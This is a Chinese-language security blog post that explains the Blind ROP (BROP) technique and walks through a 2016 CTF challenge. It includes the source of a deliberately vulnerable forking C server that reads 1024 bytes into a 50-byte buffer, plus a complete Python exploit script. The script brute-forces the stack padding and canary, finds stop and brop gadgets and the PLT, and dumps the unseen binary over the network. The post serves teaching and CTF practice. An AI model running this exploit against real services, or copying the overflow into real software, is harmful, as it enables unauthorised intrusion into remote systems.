关闭
Hit
enter
to search or
ESC
to close
May I Suggest ?
#leanote #leanote blog #code #hello world
Mutepig's Blog
Home
Archives
Tags
Search
About Me
BROP
无
668
0
0
mut3p1g
`BROP`即`Blind ROP`,是在没有给二进制文件时将二进制文件`dump`下来的技术,下面一起来看看。 <!--more--> 参考资料 http://wooyun.jozxing.cc/static/drops/tips-3071.html http://ytliu.info/blog/2014/05/31/blind-return-oriented-programming-brop-attack-yi/ ## 0x01 BROP ### 1. 利用环境及条件 利用环境就是当服务器上运行了一个应用程序,而我们无法获取对应的二进制文件。 利用条件就下面两点: * 可以出发栈溢出 * 程序`crash`后会复活,并且复活的进程的相关地址、`canary`都不变 ### 2. 准备工作 由于无法获取二进制文件,所以我们的目标就是将其`dump`出来,主要思路是通过`write`来打印出来,函数原型为: ``` write(int sock, void *buf, int len) ``` 所以我们只要构造如下的`gadget`就可以了(小小地盗下图XD) ![](https://leanote.com/api/file/getImage?fileId=59f171d7ab644170ce00101a) 不过在找到这四个`gadget`之前,还有下面几关需要闯过去。 #### 1) canary 由于我们会导致栈溢出,所以肯定会覆盖到`canary`,不过可以通过多少位会`crash`来判断`canary`的位置,接着通过是否`crash`来一位一位地爆破就可以了。 #### 2) stop gadget 当绕过了`canary`后,我们就能够控制返回的地址了,但一般填个地址会由于该地址非法导致`crash`。但有一种特殊的`gadget`叫`stop gadget`,表示一断可以导致程序无限循环的`gadget`,这时程序就相当于被挂起了,但在攻击者看来连接一直持续着。 #### 3) useful gadget `stop gadget`的作用是什么呢?就是用来让我们判断有无得到一个`useful gadget`。如果我们在输入地址后面加入很多个`stop gadget`(可能有很多个`pop`),那么如果`crash`了就说明是我们输入的地址导致的,如果进入了死循环那么说明地址是合法的,也就是`useful gadget`。 #### 4) brop gadget 现在我们获取了`useful gadget`,那么问题是如何从中间提取出我们需要的4个`gadget`? 首先如图所示的`brop gadget`可以解决两个`gadget`(再小小地盗下图XD) ![](https://leanote.com/api/file/getImage?fileId=59f171d7ab644170ce001019) 如果我们找到了这样的`brop gadget`,那么就能从中抽离出 ``` ==> brop_gadget_addr pop rsi #brop_gadget_addr + 7 pop r15 ret pop rdi #brop_gadget_addr + 9 ret ``` 想找到这样的`brop gadget`也比较简单,因为连续6次`pop`就基本上是这个了,那么我们构造 ``` crash_gadget * 6 stop_gadget ``` 如果最后能进入死循环,那么就说明我们找到了。 #### 5) plt segment `PLT`是什么在这就不多说了,我们现在的目标就是找到`PLT`段。首先要明确一个`PLT`段的特点,就是其中每一个项都是按16字节对齐的: ![](https://leanote.com/api/file/getImage?fileId=59f175c9ab644170ce0010c8) ![](https://leanote.com/api/file/getImage?fileId=59f1da9aab644170ce002081) 同时由于其一般不会因为传入的参数而`crash`,所以如果我们寻找到了连续的按16字节对齐且不`crash`的地址,而且他们加6或者11之后也不会`crash`,那么一般就是`PLT`段了。 不过比较特殊的就是包括`puts`、`printf`、`write`这种带输出的函数,会导致判断失误,不过也很容易人工判定具体函数是什么,到时候具体情况具体分析就好了。 #### 6) strcmp plt `gadget`已经可以找到`rsi`和`rdi`了,那么问题就是`rdx`怎么取值。这里我们可以找到一个函数譬如`strcmp(a,b)`,在执行完该函数之后会返回b的长度,这样就间接控制了`rdx`。(其实只要不是0或者某个地址以至于太大就行) ### 3. 攻击流程 通过上面的准备工作,我们已经可以获取一些有用的`gadget`,以及函数的`plt`。 首先我们需要做的就是通过上面的部分找到一个输出的函数,然后根据其调用的参数找到对应的`gadget`,为了简化问题这里直接用`puts`来做样例。 由于`puts`只需要`rdi`作为参数,所以我们直接从`brop gadget`取出对应的就行,也就是`brop_gadget_addr+ 9`。 ## 0x02 demo ### 1. source code 这里采用z牛在2016HCTF的一道题,[出题人失踪了](https://github.com/zh-explorer/hctf2016-brop)。 不过z牛为了防止`fork boom`所以没有在程序中加入`fork`,而是写了个守护脚本自动重启程序、转发流量,所以这里我讲程序稍微改写了一下,实现时遇到了很多问题,最终参考[fork子进程僵尸问题及解决方案](www.cnblogs.com/pied/p/4441734.html)得以解决。 为了简化问题,所以不开启`canary`(避免每次都要报错)以及`PIE`(为了获取`gadget`后就不需要再次尝试了)。 ``` #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <string.h> #include<sys/types.h> #include<sys/wait.h> int i; int check(); void signal_handler(int signo) { if (signo == SIGCHLD) { pid_t pid; while ((pid = waitpid(-1, NULL, WNOHANG)) > 0) {} } } int main(void){ setbuf(stdin,NULL); setbuf(stdout,NULL); setbuf(stderr,NULL); signal(SIGCHLD, signal_handler); // solve the problem that child not exit int fpid = getpid(); int cpid = fpid+1; int pid = 0; while (1){ int ret = kill(cpid,0); // if child still alive now if (ret!=0){ // child exit pid = fork(); if (pid<=0){ // fork child break; } else{ // update child_pid cpid = pid; } } } puts("WelCome my friend,Do you know password?\n"); if(!check()){ puts("Do not dump my memory"); }else { puts("No password, no game"); } } int check(){ char buf[50]; read(STDIN_FILENO,buf,1024); return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk"); } ``` #### 2. EXP ``` #!/usr/bin/env python # encoding: utf-8 from mypwn import * import cPickle import sys bin_file = "./brop" remote_detail = ("127.0.0.1",8888) libc_file = "" bp = [] pie = True p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie) OK = 0 CRASH = 1 STOP = 2 def reboot(): global p p.close() p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie) def bof(data): if p.recvuntil("password?\n",timeout=1) == "": reboot() return bof(data) p.send(data) ret = -1 if p.recv(1,timeout=1) and p.recvuntil("no game",timeout=1)=="": # program reboot means crash->1 ret = CRASH if p.recv(1,timeout=1)=="": # nothing means stop->2 ret = STOP reboot() return ret def bof_dump(data,length): reboot() p.recvuntil("password?\n") p.send(data) return p.recvline() class Gadget(): def __init__(self, start, end): self.start = start self.addr = start self.end = end self.stop = [] self.brop = [] self.plt = [] def show_item(self,item): print ','.join([hex(i) for i in item]) def show(self): log.success("show stop:") self.show_item(self.stop) log.success("show brop:") self.show_item(self.brop) log.success("show plt:") self.show_item(self.plt) class BropPayload(): def __init__(self, bof_func): self.bit = 8 self.bof = bof_func self.pad = 72 self.padding = self.pad * "M" self.canary = 0 self.data_file = "gadget.data" self.gadget_init_start = 0x400000 self.gadget_init_end = 0x401000 def load_gadget(self): try: df = open(self.data_file) data = df.read() self.gadget = cPickle.loads(data) df.close() except: self.gadget = Gadget(self.gadget_init_start,self.gadget_init_end) def save_gadget(self): df = open(self.data_file,'w') data = cPickle.dumps(self.gadget) df.write(data) df.close() def get_padding(self): i = self.pad while True: i += 1 payload = i * "A" if bof(payload)==CRASH: self.pad = i - 1 break self.padding = self.pad * "M" log.success("pad is %d "%(self.pad)) def get_canary(self): for i in xrange(self.bit): for j in xrange(255): if bof(self.padding + chr(j))==OK: self.padding += chr(j) self.canary = self.canary<<8 + j break print "canary %d is %d" % (i,j) log.success("canary is %s"%(hex(self.canary))) def get_stop_gadget(self): log.info("try to find stop gadget..") addr = self.gadget.addr while addr+1<self.gadget.end: addr += 1 payload = self.padding + p64(addr) if bof(payload) == STOP: log.success("stop_gadget found: %s"%(hex(addr))) self.gadget.stop.append(addr) break self.gadget.addr = self.gadget_init_start self.save_gadget() p.close() sys.exit(0) def get_brop_gadget(self): log.info("try to find brop gadget..") addr = self.gadget.addr while addr+1<self.gadget.end: addr += 1 payload = self.padding + p64(addr) + p64(0)*6 + p64(self.gadget.stop[-1]) if bof(payload) == STOP: log.success("brop_gadget found: %s"%(hex(addr))) self.gadget.brop.append(addr) break self.gadget.addr = self.gadget_init_start self.save_gadget() p.close() sys.exit(0) def get_plt_segment(self): log.info("try to find plt segment..") addr = self.gadget.addr & 0xfffffff0 count = 0 start_addr = 0 while addr<self.gadget.end: addr += 0x10 payload1 = self.padding + p64(addr) + p64(self.gadget.stop[-1])*100 payload2 = self.padding + p64(addr+6) + p64(self.gadget.stop[-1])*100 if bof(payload1) == STOP: if bof(payload2) == STOP: log.success("possible plt_%d found: %s"%(count,hex(addr))) if count == 0: start_addr = addr count += 1 if count>3: break log.success("plt segment fountd:%s"%(hex(start_addr))) self.gadget.plt.append(start_addr) self.gadget.addr = self.gadget_init_start self.save_gadget() def dump_file(self, opaddr, length, staddr, enaddr): # puts log.info("try to dump the file..") addr = staddr prdi = self.gadget.brop[-1] + 9 binfile = "" while addr<enaddr: payload = self.padding + p64(prdi) + p64(addr) + p64(opaddr) + p64(brop.gadget.stop[-1]) ret = bof_dump(payload,length)[:-1] # kill \n if len(ret)==0: ret = '\x00' binfile += ret addr += len(ret) print binfile.encode("hex") def prepare(): brop.load_gadget() brop.get_padding() if len(brop.gadget.stop)==0: brop.gadget.addr = 0x400931 brop.get_stop_gadget() if len(brop.gadget.brop)==0: brop.gadget.addr = 0x4009b9 brop.get_brop_gadget() if len(brop.gadget.plt)==0: brop.gadget.addr = 0x400670 brop.get_plt_segment() brop.gadget.show() def attack(): output_addr = brop.gadget.plt[-1]-0x10 # we can see output here length = 8 brop.dump_file(output_addr, length, 0x400000,0x401000) return if __name__ == "__main__": brop = BropPayload(bof) prepare() attack() ```
觉得不错,点个赞?
提交评论
Sign in
to leave a comment.
No Leanote account ?
Sign up now
.
0
条评论
More...
文章目录
No Leanote account ? Sign up now.